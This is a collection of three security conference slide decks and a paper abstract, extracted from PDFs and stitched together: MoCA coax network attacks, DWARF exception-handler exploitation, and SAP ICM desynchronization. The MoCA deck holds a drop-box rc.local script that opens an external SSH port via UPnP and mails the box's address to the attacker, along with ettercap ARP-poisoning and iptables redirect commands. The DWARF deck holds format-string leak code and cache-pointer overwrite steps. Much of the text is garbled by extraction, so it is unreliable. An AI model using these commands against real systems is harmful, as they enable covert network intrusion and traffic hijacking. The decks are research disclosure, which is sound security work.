LAN)f)WAN) –  2)MoCA)nodes)(NC)) –  MoCAftofEthernet)bridge) •  Digital)Video)Recorder) –  MoCA)networking)on)board) –  Depends)on)AcLontec)router) •  Time)sync) •  TV)channel)data) Let’s draw that out a little more No Keys Required OH SNAP! TAKE$IT$ ALL$ Remember, MoCA looks like this? DOUBLE SNAP! IT’S OUTSIDE! ATTACK$HERE$ Walk up and jack in •  ULlity)pointfoffpresence) •  ONT)+)root)coax)splicer)+)power) =)SCORE!) •  Many)homes)have)low)plants) growing)around)to)obscure)the) equipment) –  That)will)provide)useful)cover)for)the) acacking)equipment) Tools of the Trade •  MoCAftofEthernet)bridge) •  RGf6)Coaxial)Cable) •  >1GHz)Coaxial)Splicer) Burning Bridges •  Connect)the)acack)device) to)the)bridge’s)Ethernet) interface) •  AcLontec)LAN)does)not) engage)link)protecLon) –  Any)device)can)connect) What just happened here? •  A)MoCA)device)has)been)added)to)the)coaxial)bus) •  Remember,)both)MoCA)WAN)and)LAN)run)on)the)same) physical)bus) •  The)bus)terminates)outside)the)home) •  By)acaching)to)the)MoCA)LAN,)the)internal)Ethernet)LAN)has) been)extended)outside)the)home) Situation normal SNAFU What could possibly go wrong? •  Enables)acacks)defeated)by)a)firewall) •  Network)redirecLon) –  Address)resoluLon)protocol)poisoning) –  DHCP)response)spoofs) –  DNS)hijacking) •  Traffic)profiling) –  Deep)packet)inspecLon) –  What)do)you)do)at)home)that)you)wouldn’t)do)at)work?) •  What’s)old)is)new)again!)Hello)2001!) Ethernet attacks, so retro! •  Enables)direct)acack)against)the)local)Ethernet)network) •  Many)acacker)tools)and)frameworks)have)been)developed)to) automate)infiltraLon) –  Ecercap) –  dnsniff) –  Metasploit) –  BeEF) –  EvilGrade) –  Karmetasploit) This)tacoo)will)protect)me)from)harm!) •  MoCA)filters) •  Block)signal)in)the)MoCA) ranges) •  Marketed)as)a)security)layer)to)protect)against)unwanted) MoCA)signals) •  Typically)located)on)the)feed)to)the)splicer) -  Almost)always)exposed) •  Designed)to)prevent)signal)bleed)between)houses) -  NOT)between)the)interior)and)exterior)walls.) Building a disposable attack unit •  This)is)a)problem)that)needs)more)acenLon) •  Create)a)plaqorm)to)automate)the)compromise)of)a)MoCA) network) •  Illustrate)that)the)compromise)of)most)target)domiciles)is)as) simple)as)walking)up)to)them) ATTACK$HERE$ Requirements •  Dropfin)physical)toolkit) –  Physical)inserLon) –  Power) –  CompuLng)device) •  Remote)access)to)toolkit) –  Reverse)tunnel,)requires)a)server) –  Port)forwarding?) •  Traffic)redirecLon) •  Content)manipulaLon) Design Objectives •  DO)NO)HARM) –  This)is)a)demo)for)educaLonal)purposes) –  Random)useless)site)redirecLon)is)obvious,)nondestrucLve) •  Use)standard)tools) –  Less)profiling) –  Updatable)) –  Disposable) •  Minimize)power)consumpLon) –  Enable)acacker)to)walk)away)and)preserve)cover) –  Unit)must)last)as)long)as)possible) •  Control)costs) Ingredients •  Cellphone)Recharging)Bacery) –  Gorilla)16,800)mAh) –  Smaller)than)a)paperback)book) –  Can)run)each)device)on)one)unit)(x2)) –  ~14)hours)upLme)for)a)3VA)device,)like)an)ARM) •  Raspberry)Pi) –  Model)B)–)512)MB)RAM) –  ARM11)processor) –  Minimal)power)consumpLon) –  Requires)8GB)class)10)SD)Card)for)storage)(OS)) –  Cheap) Ingredients •  Kali)Linux) –  Standard)penetraLon)tesLng)distribuLon) –  Has)necessary)tools)–)Ecercap,)perl,)python) –  Extendable)via)Debian)repositories) •  squid,)apache,)miniupnp) –  Available)images)for)ARM,)including)Raspberry)Pi) –  FREE)) •  Universal)Plugfnfplay)IGD)protocol) –  AcLontec)firewall/router) •  MoCAftofEthernet)bridge) –  Netgear)MCAB1001) Mod to MCAB1001 for better hang-time Snip snip… Like a good doctor, solder is there Winner: Direct Current •  UPS)lost)a)lot)to)DC/AC/DC) conversion) –  6.5)hours)hangfLme) –  BEEP!!)LOOK)AT)ME!!) –  Managed)shutdowns) •  Portable)bacery)DC/DC) –  No)loss)in)conversion) –  Less)hardware,)smaller) footprint) –  Size)of)a)small)paperback) –  One)for)each)device)(load)) Raspberry MoCA assembled Universal Plug-n-Play •  uPNP)enables)service)discovery)on)broadcast)domains) •  UDP)port)1900) •  No)authenLcaLon) •  No)rouLng)required,)everything)just)blabs) –  iPhone) –  Computer) –  Printer) –  TVs)f)DLNA) –  Router) Internet Gateway Device •  uPNP)protocol)to)ease)manipulaLon)of)firewall)rules) •  Allows)the)firewall)to)adjust) posture)based)on)the)requests) of)internal)hosts) -  No)authenLcaLon) -  Forwards)requested)ports)and) sets)up)NAT) •  Most)embedded)routers) support)IGD) •  Supported)by)Microsos,)DLNA,) ISPs) ) How)helpful!) Redirect Hijinks •  Transparent)proxy)needed)to)manipulate)web)streams) –  Squid)provides)URL_REWRITE)facility)to)support)3rd)party)tools) –  Perl)does)the)work) •  I)Love)My)Neighbors) –  Josh)Wright’s)wireless)honeypot)distribuLon) –  Accomplishes)my)goals)(flipping)pics,)funny)things)) –  Perl)scripts)for)URL_REWRITE) •  Some)BASH)scripLng)to)get)it)all)set)up) Recipe for Raspberry MoCA: Phase 1 •  InserLon)and)remote)access) •  Upon)boot,)execute)a)uPNP)command)to)forward)an)external) port)to)local)SSH)server) –  {External)IP}:22/tcp)f>){Raspberry)MoCA)IP}:22/tcp) •  Report)informaLon)to)acacker) #!/bin/sh -e # rc.local sleep 120; upnpc -a `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \ | awk -F\/ '{print $1}'` 22 22 tcp | tee /tmp/report \ | mailx -s `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \ | awk -F\/ '{print $1}'`.report [email protected] exit 0 Recipe: Phase 2 •  Engage)HTTP)manipulaLon) •  ARP)poison)the)LAN) echo)fn),)RedirecLng)traffic) ecercap)fD)fl)/root/ecer.infos)fm)/root/ecer.msgs)fM)arp)//)//) •  Redirect)web)streams)to)local)proxy) echo)fn),)RedirecLng)ports) iptables)ffflush) iptables)fftable)nat)ffflush) iptables)ffdeletefchain) iptables)fftable)nat)fA)PREROUTING)fi)eth0)fp)tcp)\) ))ffdesLnaLonfport)80)fj)REDIRECT)fftofport)3128) •  Manipulate)the)web)stream) rm)/etc/squid3/url_rewrite_program) ln)fs)$SDIR/$1)/etc/squid3/url_rewrite_program) service)squid3)restart)>/dev/null) DEMO •  WATCH)THIS!) famous)last)words….) Results •  ARM11)is)single)core)and)it)shows) –  A)licle)pokey)for)manipulaLng)large)images) –  Reduced)apache)and)squid)to)5)threads) –  Lowers)CPU)interrupt)contenLon) –  Only)use)redirects)or)injecLons.)Image)processing)is)S..L..O..W..) •  Traffic)redirecLon)) –  Network)with)six)normal)devices)on)it) –  Phones,)DVR,)computers) –  All)redirected)with)no)noLceable)performance)issues) •  Simple)replacement)of)the)word)‘dog’)with)‘cat’) –  MoCA)works)well)for)this) Results •  Compared)to)acack)injecLons) –  Images)are)huge)payloads.)InjecLons)are)small.) –  StaLc)payload)inserLon)does)not)require)heavy)processing) •  Raspberry)MoCA)Plaqorm)provides) –  Guaranteed)remote)access)for)a)defined)Lme) –  Quick)delivery)and)inserLon.)Minimizes)exposure) –  Low)cost)plaqorm.)<$300)is)disposable) –  Commodity)components.)Minimizes)profilable)arLfacts) –  Lowflatency)traffic)redirecLon)and)manipulaLon) •  Find)a)resource)and)implant)a)more)permanent)backdoor) Security)needs)YOU!) •  MoCA)implementaLon)presents)a)major)exposure)of)the) physical)transport)layer) –  All)other)assumpLons)about)inside)vs.)outside)are)weakened) •  IGD)weakens)firewall)protecLons) •  Bridging)all)networks)together)presents)new)vulnerabiliLes) •  Requires)reassessment)and)acenLon)from)cable)installers)and) Internet)providers) •  Consumers)should)demand)this!) Ongoing)work) •  Detect)MoCA)injecLons) •  Alert)on)network)inserLon) –  Offer)something)more)than)ArpWatch?) •  SLIM)and)CounterfPi) –  in)collaboraLon)with)Stephan)Browarny) ) QuesLons?) Andrew Hunt George Mason University [email protected] Backup •  Because)someLmes)things)don’t)go)as)planned…) Man’s Best Friend The World Upside-Down Watch Out, Plane! Prove it!
pdf
Overwri'ng  the  Excep'on  Handling Cache  Pointer  -­‐  Dwarf  Oriented Programming James  Oakley  (Electron) Electron100  *noSPAM*  gmail.com Rodrigo  Rubira  Branco  (@BSDaemon) rodrigo  *noSPAM*  kernelhacking.com Sergey  Bratus  (Sbratus) Sergey  *noSPAM*  cs.dartmouth.edu Credits •  This  presenta'on  combines  ideas,  research, discussions  from  the  following  personnel: –  Sergey  Bratus  (Insecurity  Theory,  Exploi'ng  the  Hard-­‐ working  Dwarf) –  Meredith  PaRerson  (Langsec) –  R.I.P.  Len  Sassaman  (Langsec) –  James  Oakley  (Exploi'ng  the  Hard-­‐working  Dwarf  -­‐> everything  related  to  that,  including  Katana) –  Rodrigo  Rubira  Branco  (Exploi'ng  the  Hard-­‐working Dwarf  -­‐>  exploita'on,  implementa'on  details, research  organiza'on) Mo'va'on •  SoWware  exploita'on  is  not  generic  anymore •  There  are  different  exploita'on  primi'ves  in different  contexts •  A  modern  exploita'on  technique  shows  how to  take  advantage  of  those  primi'ves •  There  are  much  more  been  ‘computed’  then only  the  code  that  was  wriRen  (the  target) Insecurity  State •  “Treat  all  systems  as  compromised” – “There's  no  such  thing  as  ‘secure’  any  more.”  -­‐-­‐ Deborah  PlunkeR,  NSA  Informa'on  Assurance Directorate •  “Long  weeks  to  short  months  before  a security  meltdown”  –  Brian  Snow,  in December  2010 Does  preven'on  works? •  Many  ini'a'ves  in  ‘trustworthy  compu'ng’ •  Many  books  on  ‘secure  programming’ •  Many  academic  publica'ons •  Lots  of  test  methods:  fuzzing,  binary  analysis, you  name  it – And  STILL  the  soWware  SUCKS  and  is  EXPLOITED! •  And  about  the  hardware?  We  have  no  idea how  bad  it  is… Insecurity  is  all  about  computa'on •  Trustworthiness  of  a  computer  system  is what  the  system  can  and  cannot  compute –  Can  the  system  decide  if  an  input  is invalid/unexpected/malicious  &  reject  it? –  Will  program  perform  only  expected  computa'ons, or  malicious  ones  too? •  Exploita)on  is  se.ng  up,  instan)a)ng,  and programming  a  weird  machine –  A  part  of  the  target  is  overwhelmed  by  craWed  input and  enters  an  unexpected  but  manipulable  state Decidability •  Computa'on  has  some  unsolvable (un-­‐decidable)  problems  – about  recogni7on  of  inputs! •  An  un-­‐decidable  problem  does  not  have  an algorithm  that  solves  it  for  the  general  case SoWware  Exploita'on •  A  part  of  the  target  is  overwhelmed  by  craWed input  and  enters  an  unexpected  but  manipulable state •  Primi7ves  are  exposed –  Memory  corrup'on,  implicit  control  flows –  Unexpected  control  flows,  … •  A  “weird  machine”  is  unleashed –  A  more  powerful,  programmable  execu7on environment  than  intended  or  expected SoWware  is  Complex •  Checks  for  input  validity  are scaRered  throughout  the program,  mixed  with processing  logic •  Lots  of  addi'onal  compu'ng op'ons  existent  and  available to  the  ‘weird  machine  programmer’, aka,  exploit  writer Weird  Machine  is  Born! Exploi'ng  Addi'onal  Computa'ons •  Finally  we  are  in  our  talk  line… •  There  are  many  computa'ons  inside  a  program that  can  be  used  to  subvert  the  code  execu'on (and  some  of  then  has  nothing  to  do  with  the original  code  itself) •  ROP  is  not  new,  exploits  are  using  it  since  2000 (maybe  even  before) *nix  Excep'on  Handling •  Binaries  compiled  with  GCC  and  that  support  excep'on handling  have  Dwarf  bytecode: –  Describe  the  stack  frame  layout –  Interpreted  to  unwind  the  stack  aWer  an  excep'on  occurs •  The  process  image  includes  the  Dwarf  interpreter  (part  of the  GNU  C++  run'me) •  Bytecode  can  be  wriRen  to  force  the  interpreter  to  perform any  computa'on  (Turing-­‐Complete),  including,  but  not limited  to,  setup  a  library/system  call  modifying  registers such  as  stack  and  base  pointers  -­‐>  See  James  and  Sergey previous  work  on  Dwarf  Trojans James  Oakley  and  Sergey  Bratus •  Proved  that  Dwarf  can  replace  code  crea'ng  a Trojan  completely  using  Dwarf  bytecode •  Proved  that  Dwarf  is  a  complete  development environment: – Can  read  memory – Can  compute  with  values  from  memory/registers – Can  influence  the  flow  of  execu'on  of  a  process ELF                The  executable  has  this  format  either  on  disk or  in  memory. Dwarf •  Developed  as  a  debugging  format  to  replace  STABS •  Standard:  hRp://dwarfstd.org •  Provide  informa'on  such  as  code  line,  variable  types, backtraces,  others •  ELF  Sec'ons:  .debug_info,  .debug_line,  .debug_frame  are defined  in  the  standard •  .debug_frame  defines  how  to  unwind  the  stack  (how  to restore  each  entry  in  the  previous  call  frame) Linux  Excep'on  Handling •  GCC,  the  Linux  Standards  Base  and  the  ABI  x86_64  adopted a  very  similar  format  used  in  the  .debug_frame  to  describe the  stack  unwind  during  an  excep'on:  .eh_frame •  It  is  not  exactly  the  same  as  dwarf •  It  adds  pointer  encoding  and  language-­‐specific  data •  As  usual,  the  documenta'on  is  sparse  and  very  limited: –  Par'ally  discussed  in  the  Linux  Standards  Base –  Par''ally  defined  in  the  ABI –  Par'ally  implemented  in  GCC .eh_frame •  Theore'cally  it  is  a  table,  where  for  each  address in  the  .text  it  is  describe  how  to  restore  the registers  to  the  previous  call  frame •  CFA  (Canonical  Frame  Address)  –  Address  rela've to  the  call  frame •  Each  line  defines  how  each  part  of  the  code  can return  to  the  previous  frame EIP CFA EBP EBX EAX RET 0xf000f000 rsp+16   *(cfa-­‐16) *(cfa-­‐8) 0xf000f001 rsp+16   *(cfa-­‐16) *(cfa-­‐8) 0xf000f002   rbp+16   *(cfa-­‐16) eax=edi   *(cfa-­‐8) … … … … … … 0xf000f00a   rbp+16   *(cfa-­‐16)   *(cfa-­‐24)   eax=edi   *(cfa-­‐8) Size  Limita'ons •  Obviously,  keep  such  a  table  would  use  more space  then  the  code  itself •  That’s  why  the  adop'on  of  bytecode:  The table  is  ‘compressed’,  providing  everything required  to  create  it  when  needed •  Por'ons  of  the  table  are  created  as  needed (on-­‐demand) .eh_frame  .eh_frame  sec'on  .-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐.  |  CFI  |  CFI  =  Call  Frame  Informa'on  |  .-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐.  |  |  |  CIE  |  |  CIE  =  Common  Informa'on  Entry  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  FDE  |  |  FDE  =  Frame  Descrip'on  Entry  |  |  .-­‐-­‐-­‐-­‐-­‐-­‐-­‐.  |  |  |  |  |  *LSDA  ||  |  LSDA  =  Language  Specific  Data  Area  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  FDE  |  |  |  |  .-­‐-­‐-­‐-­‐-­‐-­‐-­‐.  |  |  |  |  |  *LSDA  |  |  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  |  |  |  |  ...  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  FDE  |  |  |  |  .-­‐-­‐-­‐-­‐-­‐-­‐-­‐.  |  |  |  |  |  *LSDA  |  |  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  |  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐'  |  '-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐’ "The  .eh_frame  sec'on  shall  contain  1  or  more  Call  Frame  Informa'on  (CFI)  records.  The  number of  records  present  shall  be  determined  by  size  of  the  sec'on  as  contained  in  the  sec'on  header. Each  CFI  record  contains  a  Common  Informa'on  Entry  (CIE)  record  followed  by  1  or  more  Frame Descrip'on  Entry  (FDE)  records.  Both  CIEs  and  FDEs  shall  be  aligned  to  an  addressing  unit  sized boundary" FDE  x  CIE                     FDE  (Frame  Descrip'on  Entry)  exists  for  each  logical Instruc'on  block CIE  (Common  Informa'on  Entry)  holds  common Informa'on  between  FDEs INSTRUCTIONS  in  FDE  hold  the  DWARF  bytecode FDE  x  CIE ini7al_loca7on/address_range: Defines  for  which  instruc'ons  this  FDE  applies augmenta7on: Language-­‐specific  informa'on return_address_register: Entry  in  a  virtual  table  that  defines  the  .text  loca'on to  return  to  (eip) instruc7ons: Table  rules.  Dwarf  has  a  language  to  describe the  table.                     Dwarf  Instruc'ons •  Work  as  an  assembly  language  (unexpected  computa'ons) •  Turing-­‐Complete  Stack-­‐Based  Machine •  Can  access  memory  and  register  values •  Have  some  limita'ons: –  Cannot  write  to  register/memory  (but  we  can  force  out-­‐of-­‐order  code execu'on  and  obtain  writes) –  Cannot  call  na've  code –  Cannot  write  to  registers  that  are  not  callee-­‐saved  in  the  ABI  (we  can write  to  callee-­‐saved  register  thought) –  GCC  limits  the  stack  in  64  words Dwarf  Programming •  DW_CFA_set_loc  N Next  instruc'ons  apply  to  the  first  N  bytes  of  the func'on •  DW_CFA_def_cfa  R  OFF CFA  is  calculed  star'ng  from  register  R  and  offset OFF •  DW_CFA_offset  R  OFF Register  R  is  restaured  from  the  value  in  CFA  OFF •  DW_CFA_register  R1  R2 Register  R1  is  restaured  with  the  contents  of  R2 And  the  table  is  back… •  Each  architecture  register  receives  a  DWARF equivalent  (the  mapping  is  architecture  specific) •  Dwarf  Instruc'ons  define  rules  for  a  column  or advances  to  the  next  line  (program  loca'on) •  In  a  FDE,  lines  heritage  from  instruc'on  lines above  them EIP CFA EBP EBX EAX RET 0xf000f000 rsp+16   *(cfa-­‐16) *(cfa-­‐8) 0xf000f001 rsp+16   *(cfa-­‐16) *(cfa-­‐8) 0xf000f002   rbp+16   *(cfa-­‐16) eax=edi   *(cfa-­‐8) … … … … … … 0xf000f00a   rbp+16   *(cfa-­‐16)   *(cfa-­‐24)   eax=edi   *(cfa-­‐8) Dwarf  Expressions •  To  not  an'cipate  all  unwinding  mechanisms  of  a  system,  the  standard defines  flexibility: –  DW_CFA_expression  R  EXPRESSION  R  receives  the  value  from  the  EXPRESSION  result –  DW_CFA_val_expression  R  EXPRESSION  R  restored  to  result  of  EXPRESSION •  Expressions  have  their  own  instruc'ons: –  Constant  Values:  DW_OP_constu,  DW_OP_const8s,  etc –  Arithme'c:  DW  OP  plus,  DW  OP  mul,  DW_OP_and,  DW_OP_xor,  etc –  Memory  read:  DW_OP_deref –  Register  read:  DW_OP_bregx –  Flow  Control:  DW_OP_le,  DW_OP_skip,  DW_OP_bra,  etc Katana Emit  a  dwarfscript Ø  $e=load  "demo" Loaded  ELF  "demo" Ø  dwarfscript  emit  ".eh_frame"  $e  "demo.dws" Wrote  dwarfscript  to  demo.dws Dwarfscript  assembler Ø  $ehframe=dwarfscript  compile  "demo.dws" Ø  replace  sec'on  $e  ".eh_frame"  $ehframe[0] Replaced  sec'on  ".eh_frame" Ø  save  $e  "demo_rebuilt" Saved  ELF  object  to  "demo_rebuilt" Ø  !chmod  +x  demo_rebuilt So  what? •  With  Katana  you  can  see  and  modify  unwind tables  in  an  easy  way – Control  the  unwinding  flow  (how  the  call  stack  is handled) – Avoid  an  excep'on  handler  to  execute  another one – Redirect  excep'ons – Find/solve  symbols – Calculate  reloca'ons Example •  If  func'on  foo  is  responsible  for  an  excep'on –  Change  flow  to  func'on  bar –  Thru  sta'c  analysis,  we  see  that  bar  is  at  0x600DF00D –  In  the  FDE,  we  change: DW_CFA_offset  r16  1 –  To: DW_CFA_val_expression  r16 begin  EXPRESSION DW_OP_constu  0x600DF00D dnd  EXPRESSION .gcc_except_table •  So  far,  redirected  only  to  ‘catch’  blocks •  The  .gcc_except_table  hold  language-­‐specific data  (where  the  excep'on  handlers  are) – Interpreted  by  the  personality  rou'nes – We  can  stop  an  excep'on  at  any  'me – Unlike  the  .eh_frame,  do  not  have  standards – There  is  no  documenta'on,  so  let’s  see  the  code  ;) Assembly •  While compiling a program using GCC, do: --save-temps –fverbose-asm –dA .section .gcc_except_table,"a",@progbits .align 4 .LLSDA963: .byte 0xff # @LPStart format (omit) .byte 0x3 # @TType format (udata4) .uleb128.LLSDATT963−.LLSDATTD963 # @TType base offset .LLSDATTD963: .byte 0x1 # call−site format (uleb128) .uleb128 .LLSDACSE963−.LLSDACSB963 # Call−site table length .LLSDACSB963: .uleb128 .LEHB0−.LFB963 # region 0 start .uleb128 .LEHE0−.LEHB0 # length .uleb128 .L6−.LFB963 # landing pad .uleb128 0x1 # action .uleb128 .LEHB1−.LFB963 # region 1 start .uleb128 .LEHE1−.LEHB1 # length .uleb128 0x0 # landing pad .uleb128 0x0 # action .uleb128 .LEHB2−.LFB963 # region 2 start .uleb128 .LEHE2−.LEHB2 # length .uleb128 .L7−.LFB963 # landing pad .uleb128 0x0 # action .LLSDACSE963: .byte 0x1 # Action record table .byte 0x0 .align 4 .long _ZTIi Layout Excep'on  Handling  Flow                         Excep'ons  are  not  asynchronous •  Func'ons  that  call  throw()  just  call: – __cxa_allocate_excep'on()  -­‐>  To  allocate  space using  malloc  (or  buffers  in  the  .bss  if  malloc  fails  – gcc-­‐xxx/libstd++v3/libsupc++/eh_alloc.:84) – And  then  __cxa_throw()  -­‐>  That  will  go  thru  the frames  un'l  a  handler  for  the  excep'on  is  found Proving  (assembly) Dump  of  assembler  code  for  func'on  main:  ...  <+9>:  mov  $0x4,%edi  #  std::size_t  thrown_size  #  Allocates  a  new  "__cxa_refcounted_excep'on"  followed  by  4 bytes;  we  #  do  a  "throw(1)",  1  being  an  "int"  occupies  4  bytes.  <+14>:  callq  0x400930  <__cxa_allocate_excep'on@plt>  ...  <+25>:  mov  $0x0,%edx  #  void  (*dest)  (void  *)  <+30>:  mov  $0x6013c0,%esi  #  std::type_info  *'nfo  <+35>:  mov  %rax,%rdi  #  void  *obj  <+38>:  callq  0x400940  <__cxa_throw@plt> __cxa_allocate_excep'on() •  Returns  a  pointer  to  a – struct  __cxa_refcounted_excep'on,  which  helds  a reference  to  an  object  __cxa_excep'on •  __cxa_throw()  is  then  executed  to: – Ini'alize  the  current  context  (register  values) – Iterate  in  the  stack  un'l  it  finds  the  excep'on handler What  We've  Shown  Before •  Ret-­‐into-­‐libc •  Used  the  dynamic-­‐linker  already  in  Dwarf  to  find execvpe •  Used  Dwarf  to  prepare  the  stack •  In  less  than  200  bytes  and  less  than  20  words  in the  stack  (showing  that  a  64-­‐stack  word limita'on  is  not  an  obstacle) •  Started  in  an  offset  of  execvpe  where  they  can control  the  Dwarf  registers  (and  not  in  the func'on  beginning) What  else  can  be  done? •  Old  GCC  had  both,  the  .eh_frame  and the  .gcc_except_table  as  +W •  Well… –  Libgcc/libstdc++  need  to  find  those  areas  in  memory, right? –  The  program  header,  GNU_EH_FRAME  contains the  .eh_frame  loca'on  (dl_iterate_phdr  is  the func'on  that  finds  it) –  Libgcc  caches  the  value! Fake  EH •  If  we  can  overwrite  the  cached  value,  we  are able  to  control  the  excep'ons  and  leverage everything  already  explained •  Libgcc  does  not  export  symbols,  so  we  need  to find  an  heuris'c/reverse  to  find  what  to overwrite Caching •  The  pointer  caching  is  done  in:  unwind-­‐dw2-­‐fde-­‐glibc.c: #define  FRAME_HDR_CACHE_SIZE  8 ... sta'c  struct  frame_hdr_cache_element {  _Unwind_Ptr  pc_low;  _Unwind_Ptr  pc_high;  _Unwind_Ptr  load_base;  const  ElfW(Phdr)  *p_eh_frame_hdr;  const  ElfW(Phdr)  *p_dynamic;  struct  frame_hdr_cache_element  *link; }  frame_hdr_cache[FRAME_HDR_CACHE_SIZE]; Caching •  8  cache  entries  for  the  frame  header –  Uses  a  Least  Used  Replacement  Algorithm  (_Unwind_IteratePhdr_Callback()) –  Most  recently  used  is  the  head  of  the  list •  In  the  test  environment,  the  frame_hdr_cache  was  at  0x6e0  bytes  from  the  offset  of  the  writable data  segment  of  libgcc •  This  is  the  aforemen'oned  array,  with  48  bytes  in  size •  The  executable  itself  is  the  3rd  element  of  the  array  (the  first  two  are  the  libgcc  and  libstdc++) •  The  offset  for  the  writable  data  segment  of  libgcc  can  be  found  in  this  way  (based  in  what  we know): –  0x6e0+48*2=0x740 •  The  entry  p_eh_frame_hdr  that  we  want  to  overwrite  is  at  24  bytes  of  this  structure. Example •  Together  with  the  paper/presenta'on,  we release  a  demo  program  for  the  exploita'on. Those  are  the  test  characteris'cs  we  see: –  0x7ffff760e000  -­‐>  libgcc  loading  address –  0x220000  -­‐>  offset  for  the  writable  data  segment (star'ng  from  the  lib  base  address) –  0x6e0  -­‐>  offset  for  the  cache  elements  (star'ng  from the  writable  data  segment) –  48  bytes  is  the  size  of  the  structure –  2  entries  before  ours  (readelf  –d) –  24  bytes  inside  the  structure  is  what  we  want  to overwrite Exploi'ng •  To  simplify  the  exploita'on,  it  is  interes'ng  to align  the  structures  in  known  offsets/ controlled  offsets: – .eh_frame  in  the  example  aligned  to  start  exactly at  0x50  bytes  from  the  start  of  the  .eh_frame_hdr – .gcc_except_table  aligned  to  start  exactly  at  0x200 bytes  from  the  start  of  the  .eh_frame Memleak •  We  need  the  value  of  EBP,  so  we  going  to  use  a  memleak.  It  can  be  achieved  in  different  ways, depending  on  the  target  program  (e.g.:  overwri'ng  parameters  to  prin‡-­‐like  func'ons,  or  if  the vulnerability  is  a  format  string,  which  is  our  sample  case) •  To  calculate  the  EBP_PREVIOUS  we  use  %llx  (format  string),  so  we  use  4  bytes  of  space  in  the  buffer and  advance  the  stack  pointer  in  8  bytes  (so  the  premise  for  exploi'ng  the  sample  program  is  to manage  to  leak  the  EBP): ... #to  get  the  value  of  ebp_previous instr=r"%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx %llx%llx%x%x" proc.sendline(instr) proc.expect("unknown  command:  [0-­‐9a-­‐f]*  ([0-­‐9a-­‐f]*).*") ebp_previous=int(proc.match.group(1),16) info("\nfound  ebp_previous  =  0x%x"  %  ebp_previous) Heuris'cs •  We  know  the  size  of  the  previous  frame (disassembling),  so  we  are  capable  of  calculate the  EBP  of  our  frame: – ebp=ebp_previous-­‐PREV_FRAME_SIZE •  With  our  frame  address,  we  can  calculate  the address  of  libgcc,  since  we  know  the  offsets: – libgcc_reveal_loca'on=ebp-­‐ LIBGCC_REVEAL_EBP_OFFSET; More  Heuris'cs •  The  value  that  reveals  the  .text  loca'on  of  the  libgcc  is  at 0xffffc798  (discovered  in  the  previous  slide),  and  it  is  0x679 above  ESP  and  0x750  above  EBP •  The  libgcc  base  is  calculated  using  the  previously  revealed address  and  masking  the  3  low  nibbles.  We  also  use  a  fixed value  to  adjust  the  result  (found  thru  disassembly): –  libgcc_base=(libgcc_revealed  &  0xFFFFF000)  -­‐ LIBGCC_REVEAL_ADJUST •  The  separa'on  between  .text  and  .data  segments  in  libgcc is  0x19000  (x86): –  libgcc_data_base=libgcc_base+LIBGCC_DATA_OFFSET Finalizing •  Finally,  we  find  the  frame_hdr_cache  and  the respec've  p_eh_frame_hdr  from  the libgcc_data_base,  as  previously  described: – frame_hdr_cache=libgcc_data_base +CACHE_LIBGCC_OFFSET – p_eh_frame_hdr=frame_hdr_cache +CACHE_ENTRY_SIZE*PREVIOUS_CACHE_ENTRIES +OFFSET_IN_CACHE_ENTRY In  the  demo  case •  With  all  the  values,  we  redirect  the  execu'on: –  Func'on  doWork  starts  at  0x0804936a –  Throw  is  at  0x08049634 –  Distance:  0x2ca  (call  site  14  in  the  dict_mod.dws  for  the  demo) –  We  force  the  execu'on  of  the  I_am_never_called  that  is  at 0x08049842  (offset  of  0x4d8  from  doWork) •  The  Dwarf  payload  is  injected  in  the  dic'onary  been  readed  by  the target  program  (instead  of  using  a  shellcode).  We  find  the  pointers, overwrite  the  caching  target  address  and  the  desired  catch  block  is executed. Other  possibili'es •  If  you  have  a  Write  N  you  can  overwrite the  .eh_frame  en'rely  (if  it  is  +W,  what  is  not normal  in  new  systems) •  You  can  overwrite  the  .eh_frame  using  a shellcode •  You  can  use  a  stagered  ret-­‐into-­‐lib  to  remap the  .eh_frame  as  +W  and  then  overwrite  it THE  END!  Really  is  !? James  Oakley  (Electron) Electron100  *noSPAM*  gmail.com Rodrigo  Rubira  Branco  (@BSDaemon) rodrigo  *noSPAM*  kernelhacking.com Sergey  Bratus  (Sbratus) Sergey  *noSPAM*  cs.dartmouth.edu
pdf
Advanced Inter-Process Desynchronization in SAP’s HTTP Server Martin Doyhenard Onapsis [email protected] Abstract This paper will demonstrate how to leverage two memory corruption vulnerabilities found in SAP's proprietary HTTP Server, using high level protocol exploitation techniques. Both, CVE-2022-22536 and CVE-2022-22532, were remotely exploitable and could be used by unauthenticated attackers to completely compromise any SAP installation on the planet. By escalating an error in the HTTP request handling process, it was possible to Desynchronize ICM data buffers and hijack every user’s account with advanced HTTP Smuggling. Next, this paper will examine a Use After Free in the shared memory buffers used for Inter-Process Communication. By exploiting an incorrect deallocation, it was possible to tamper messages belonging to other TCP connections and take control of all responses using Cache Poisoning and Response Splitting theory. Finally, as the affected buffers are also used to contain Out Of Bounds data, a method to corrupt address pointers and obtain Remote Code Execution will be explained. The “ICMAD” vulnerabilities were addressed by the US Cybersecurity and Infrastructure Security Agency as well as CERTs from all over the world, proving the tremendous impact they had on enterprise security. Outline 